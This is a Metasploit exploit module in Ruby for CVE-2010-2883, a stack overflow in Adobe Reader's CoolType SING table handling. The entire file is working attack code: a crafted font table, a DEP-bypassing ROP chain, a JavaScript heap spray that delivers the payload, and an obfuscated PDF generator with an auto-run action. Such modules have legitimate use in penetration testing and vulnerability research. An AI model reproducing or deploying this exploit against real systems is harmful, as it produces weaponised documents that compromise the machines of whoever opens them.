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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
assumed to be vulnerable as well.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # 0day found in the wild
'@sn0wfl0w', # initial analysis
'@neox_fx', # initial analysis
'@vicheck', # initial analysis
'jduck' # Metasploit module
],
'Version' => '$Revision
,
'References' =>
[
[ 'CVE', '2010-2883' ],
[ 'OSVDB', '67849'],
[ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
[ 'Automatic', { }],
],
'DisclosureDate' => 'Sep 07 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
ttf_data = make_ttf()
js_data = make_js(payload.encoded)
# Create the pdf
pdf = make_pdf(ttf_data, js_data)
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf)
end
def make_ttf
ttf_data = ""
# load the static ttf file
# NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
fd = File.open( path, "rb" )
ttf_data = fd.read(fd.stat.size)
fd.close
# Build the SING table
sing = ''
sing << [
0, 1, # tableVersionMajor, tableVersionMinor (0.1)
0xe01, # glyphletVersion
0x100, # embeddingInfo
0, # mainGID
0, # unitsPerEm
0, # vertAdvance
0x3a00 # vertOrigin
].pack('vvvvvvvv')
# uniqueName
# "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
sing << "A" * (0x254 - sing.length)
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x08231060 - 0x1c].pack('V')
# This becomes our new EIP (puts esp to stack buffer)
ret = 0x81586a5 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')
# This becomes the new eip after the first return
ret = 0x806c57e
sing[0x18, 4] = [ret].pack('V')
# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')
# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack('V')
ttf_data[0xec, 4] = "SING"
ttf_data[0x11c, sing.length] = sing
#File.open("/tmp/woop.ttf", "wb") { |fd| fd.write(ttf_data) }
ttf_data
end
def make_js(encoded_payload)
# The following executes a ret2lib using BIB.dll
# The effect is to bypass DEP and execute the shellcode in an indirect way
stack_data = [
0xc0c0c0c,
0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
0xcccccccc,
0x70048ef, # xchg eax,esp / ret
0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
0xcccccccc,
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009033, # ret 0x18
0x7009084, # ret
0xc0c0c0c,
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7009084, # ret
0x7001599, # pop ebp / ret
0x10124,
0x70072f7, # pop eax / ret
0x10104,
0x70015bb, # pop ecx / ret
0x1000,
0x700154d, # mov [eax], ecx / ret
0x70015bb, # pop ecx / ret
0x7ffe0300, # -- location of KiFastSystemCall
0x7007fb2, # mov eax, [ecx] / ret
0x70015bb, # pop ecx / ret
0x10011,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70015bb, # pop ecx / ret
0x10100,
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
0x70072f7, # pop eax / ret
0x10011,
0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
0x7005c54, # pop esi / add esp,0x14 / ret
0xffffffff,
0x10100,
0x0,
0x10104,
0x1000,
0x40,
# The next bit effectively copies data from the interleaved stack to the memory
# pointed to by eax
# The data copied is:
# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
0x700d731, # mov eax, [ebp-0x24] / ret
0x70015bb, # pop ecx / ret
0x9054905a,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x5815eb5a,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x18891a8b,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x8304c083,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xfb8104c2,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xc0c0c0c,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x5ebee75,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0xffffe6e8,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x909090ff,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90909090,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90909090,
0x700154d, # mov [eax], ecx / ret
0x700a722, # add eax, 4 / ret
0x70015bb, # pop ecx / ret
0x90ffffff,
0x700154d, # mov [eax], ecx / ret
0x700d731, # mov eax, [ebp-0x24] / ret
0x700112f # call eax -- (execute stub to transition to full shellcode)
].pack('V*')
var_unescape = rand_text_alpha(rand(100) + 1)
var_shellcode = rand_text_alpha(rand(100) + 1)
var_start = rand_text_alpha(rand(100) + 1)
var_s = 0x10000
var_c = rand_text_alpha(rand(100) + 1)
var_b = rand_text_alpha(rand(100) + 1)
var_d = rand_text_alpha(rand(100) + 1)
var_3 = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(100) + 1)
var_4 = rand_text_alpha(rand(100) + 1)
payload_buf = ''
payload_buf << stack_data
payload_buf << encoded_payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
js
end
def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end
def ioDef(id)
"%d 0 obj \n" % id
end
def ioRef(id)
"%d 0 R" % id
end
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
#return str
result = ""
str.scan(/./u) do |c|
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
else
result << c
end
end
result
end
def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end
def make_pdf(ttf, js)
#swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
xref = []
eol = "\n"
endobj = "endobj" << eol
# Randomize PDF version?
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
# catalog
xref << pdf.length
pdf << ioDef(1) << nObfu("<<") << eol
pdf << nObfu("/Pages ") << ioRef(2) << eol
pdf << nObfu("/Type /Catalog") << eol
pdf << nObfu("/OpenAction ") << ioRef(11) << eol
pdf << nObfu(">>") << eol
pdf << endobj
# pages array
xref << pdf.length
pdf << ioDef(2) << nObfu("<<") << eol
pdf << nObfu("/MediaBox ") << ioRef(3) << eol
pdf << nObfu("/Resources ") << ioRef(4) << eol
pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
pdf << nObfu("/Count 1") << eol
pdf << nObfu("/Type /Pages") << eol
pdf << nObfu(">>") << eol
pdf << endobj
# media box
xref << pdf.length
pdf << ioDef(3)
pdf << "[0 0 595 842]" << eol
pdf << endobj
# resources
xref << pdf.length
pdf << ioDef(4)
pdf << nObfu("<<") << eol
pdf << nObfu("/Font ") << ioRef(6) << eol
pdf << ">>" << eol
pdf << endobj
# page 1
xref << pdf.length
pdf << ioDef(5) << nObfu("<<") << eol
pdf << nObfu("/Parent ") << ioRef(2) << eol
pdf << nObfu("/MediaBox ") << ioRef(3) << eol
pdf << nObfu("/Resources ") << ioRef(4) << eol
#pdf << nObfu("/MediaBox [0 0 640 480]")
#pdf << "<<"
#if true
# pdf << nObfu("/ProcSet [ /PDF /Text ]") << eol
# pdf << nObfu("/Font << /F1 ") << ioRef(8) << nObfu(">>") << eol
#end
#pdf << nObfu(">>") << eol # end resources
pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
#pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]") << eol
pdf << nObfu("/Type /Page") << eol
pdf << nObfu(">>") << eol # end obj dict
pdf << endobj
# font
xref << pdf.length
pdf << ioDef(6) << nObfu("<<") << eol
pdf << nObfu("/F1 ") << ioRef(7) << eol
pdf << ">>" << eol
pdf << endobj
# ttf object
xref << pdf.length
pdf << ioDef(7) << nObfu("<<") << eol
pdf << nObfu("/Type /Font") << eol
pdf << nObfu("/Subtype /TrueType") << eol
pdf << nObfu("/Name /F1") << eol
pdf << nObfu("/BaseFont /Cinema") << eol
#pdf << nObfu("/FirstChar 0")
#pdf << nObfu("/LastChar 255")
pdf << nObfu("/Widths []") << eol
#256.times {
# pdf << "%d " % rand(256)
#}
#pdf << "]" << eol
pdf << nObfu("/FontDescriptor ") << ioRef(9)
pdf << nObfu("/Encoding /MacRomanEncoding")
#pdf << nObfu("/FontBBox [-177 -269 1123 866]")
#pdf << nObfu("/FontFile2 ") << ioRef(9)
pdf << nObfu(">>") << eol
pdf << endobj
# page content
content = "Hello World!"
content = "" +
"0 g" + eol +
"BT" + eol +
"/F1 32 Tf" + eol +
#" 10 10 Td" + eol +
"32 Tc" + eol +
"1 0 0 1 32 773.872 Tm" + eol +
#"2 Tr" + eol +
"(" + content + ") Tj" + eol +
"ET"
xref << pdf.length
pdf << ioDef(8) << "<<" << eol
pdf << nObfu("/Length %s" % content.length) << eol
pdf << ">>" << eol
pdf << "stream" << eol
pdf << content << eol
pdf << "endstream" << eol
pdf << endobj
# font descriptor
xref << pdf.length
pdf << ioDef(9) << nObfu("<<")
pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
pdf << nObfu("/FontBBox [-177 -269 1123 866]")
pdf << nObfu("/FontFile2 ") << ioRef(10)
pdf << nObfu(">>") << eol
pdf << endobj
# ttf stream
xref << pdf.length
pdf << ioDef(10) << nObfu("<</Length %s /Length1 %s>>" % [ttf.length, ttf.length]) << eol
pdf << "stream" << eol
pdf << ttf << eol
pdf << "endstream" << eol
pdf << endobj
# js action
xref << pdf.length
pdf << ioDef(11) << nObfu("<<")
pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12)
pdf << nObfu(">>") << eol
pdf << endobj
# js stream
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
# trailing stuff
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << eol
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
pdf
end
end
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